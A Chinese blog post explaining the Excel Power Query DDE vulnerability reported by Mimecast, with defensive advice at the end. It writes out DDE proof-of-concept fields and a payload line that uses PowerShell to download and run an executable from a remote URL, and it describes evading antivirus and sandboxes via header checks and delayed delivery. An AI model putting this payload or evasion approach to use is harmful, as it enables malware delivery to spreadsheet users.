从数据到信息
从信息到洞察

Excel PowerQuery被曝存在DDE安全漏洞,如何防御?

6月27日,Mimecast威胁中心发现一个可利用Excel Power Query执行远程攻击的新漏洞。经过测试,该漏洞可以动态地将DDE(Dynamic Data Exchange 动态数据交换)攻击启动到Excel电子表格中,借助Powerquery作为攻击载荷(payload)下载并执行远程资源,从而导致系统被攻击。

最近,cnBeta、Linux中国等媒体陆续报道了这一新闻,但内容较为笼统而且有可能造成误解。本文为你还原这个漏洞的执行过程、触发条件以及应对策略。

什么是DDE

DDE是Dynamic Data Exchange的缩写,是一种基于Office的动态数据交换协议,它在共享数据的应用程序之间发送消息,使用共享内存在应用程序之间交换数据。应用程序可以使用DDE 协议进行一次性数据传输和持续交换。DDE技术本身是中性跟合法的,这也是微软为什么不从根本上禁止DDE的原因。该协议目前已被微软的目标链接与嵌入(OLE)协议所代替,但DDE协议仍然能够使用。

很多不法分子都曾利用过DDE攻击,在Office应用中进行DDE攻击并不是什么新鲜事。

什么是DDE攻击

DDE攻击是不同于宏攻击的另一种方式,简单的说,DDE攻击在Office应用中嵌入一段恶意代码,用户打开包含恶意代码的应用时会收到两个提示,如果全部点是,恶意代码就会执行。

Word、Excel、Outlook都可以执行DDE攻击,以Word为例,新建一个Word文档,通过Ctrl+F9添加一个域,输入POC:

{ DDEAUTO c:windowssystem32cmd.exe “/k calc.exe” }

{ DDE c:windowssystem32cmd.exe “/k calc.exe” }

根据Word中的安全设置,每当在Word文档中执行DDE命令时,将显示两个警告,点击确定,指定的程序(计算器)将会执行

在Excel中执行类似的DDE:

在Outlook中:

可以看出,这些DDE攻击虽然隐蔽,但只要能及时拒绝来路不明的访问和程序执行命令,就可以规避风险。

通过PowerQuery执行DDE攻击

与上面介绍的攻击方式不同,Mimecast 发现借助PowerQuery可以发起更复杂、难以检测的攻击。借助PowerQuery的一些功能,攻击者只需要引诱对方打开一个电子表格,即可发起远程攻击,某些特定版本甚至无需用户执行任何进一步的操作或确认。

我们已经知道,执行DDE攻击前需要先嵌入一段代码,由于PowerQuery本身就是一个可以远程获取数据的工具,因此攻击者完全可以不将代码事先保存在Excel中,而是让Excel通过远程连接获取。测试中安全人员构造了一个Web页面(http://127.0.0.1:80)保存恶意代码:

=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,

使用PQ获取页面内容,加载到Excel

加载到Excel的代码需要用户双击确认后才能执行,但是安全人员发现如果使用的是Excel 2010,代码不需要任何确认就可以自动运行。可以看出这已经是一种比较危险的情况了,但是别忘了如果你装了杀毒软件,它可以监测出你访问的不安全链接并给予警告或将文件隔离,不过很快研究人员又发现了新的绕行方式。

使用PowerQuery绕过杀毒软件和沙盒测试

研究人员在Web请求中使用特定的HTTP Header字段与服务器通信,使攻击载荷成功绕过专门针对这类恶意内容的反病毒软件以及沙盒环境。也就是说只有请求中包含特定的HTTP头部字段时,Web服务器才会提供恶意内容。杀毒软件会从文件中提取HTTP服务器的URL地址,但并不会去解析头部数据。当它们发送测试请求时,远程服务器从Header信息中判断该请求来自于杀毒软件,而非电子表格。

如果另一个程序试图部分模拟Power Query的行为,不使用正确的Referer字段请求Web页面,就不能得到正确结果。只有使用Microsoft Excel应用来打开原始文档时才能获取攻击载荷。

不过杀毒软件还有一种安全策略是Sandbox(沙盒)测试,可疑程序被隔离在一个沙盒中扫描,整个程序执行完毕检测安全后才会放行。而借助PowerQuery的设置和构造特定的恶意代码,安全人员也成功绕过了沙盒机制!

由于沙盒环境也会在请求中发送自定义头部,因此需要使用一种新的方法来避免被检测。这里我们可以使用Power Query中的“auto refresh”(自动刷新)以及“refresh”(刷新)时间间隔参数。

为了欺骗杀毒软件,安全人员强制让文件在打开时刷新数据,然后在保存文件前移除来自外部数据源的数据。这些属性可以确保在文件打开时会更新文件中的攻击载荷。我们可以设置文件每分钟刷新一次(这是最短的时间间隔),然后在第10次请求时提供载荷数据。这意味着如果沙盒运行该文件的时间少于10分钟,那么就永远拿不到攻击载荷

测试表明,大多数静态分析的杀毒软件都检测不出该文件(因为没有使用特定的header通信),而沙盒或其他安全解决方案只会一次或者两次下载web内容,因此也检测不出来。

看到这里,除了意识到潜在的危险外,我也不禁感叹PowerQuery的灵活性确实有很大的挖掘空间。

解决方案

如果是传统的DDE攻击场景,防护措施并不复杂,提高个人安全意识,拒绝下载或打开来路不明的附件和文档。对于访问外网和EXE程序的弹出提示,谨慎选择。

微软2017年发布了一个针对性的安全公告(4053440),专门为DDE攻击提供了一些安全设置建议,比如如何关闭自动更新链接等功能。即使是新型的PowerQuery攻击方式(目前只在实验室里模拟过),可以通过安装微软发布的安全更新(ADV170021)选择性关闭DDE协议来解决。

对于企业用户来讲,设置域安全策略和外网防火墙是更加保险的方式。

需要注意的是,DDE是基于Windows的一种数据交换方式,所以Mac系统不会受到此类攻击,Power BI Desktop不具备执行恶意代码的可能,也不会遇到这个问题。最后,不管什么时候,避免使用过老的软件版本、定期安装更新都是明智的策略。

 

 

参考文章:

  • Excel曝出Power Query安全漏洞 1.2亿用户易受远程DDE攻击   https://www.cnbeta.com/articles/tech/861981.htm?utm_source=taboola&utm_medium=exchange
  • 如何利用Power Query功能实现DDE攻击  https://www.anquanke.com/post/id/181206
  • Mimecast Threat Center discovered a weakness in the Microsoft Excel tool that allows embedding malicious payloads remotely.  https://www.mimecast.com/blog/2019/06/exploit-using-microsoft-excel-power-query-for-remote-dde-execution-discovered/
  • 微软office DDE攻击与防御  https://zhuanlan.zhihu.com/p/30564863
  • Dynamic Data Exchange  https://en.wikipedia.org/wiki/Dynamic_Data_Exchange
  • DDE攻击的迭代:利用Excel进行攻击  https://www.4hou.com/vulnerable/9212.html

 

原创内容 转载请联系作者授权:PowerBI极客 » Excel PowerQuery被曝存在DDE安全漏洞,如何防御?

说点什么

avatar
  订阅本文评论  
提醒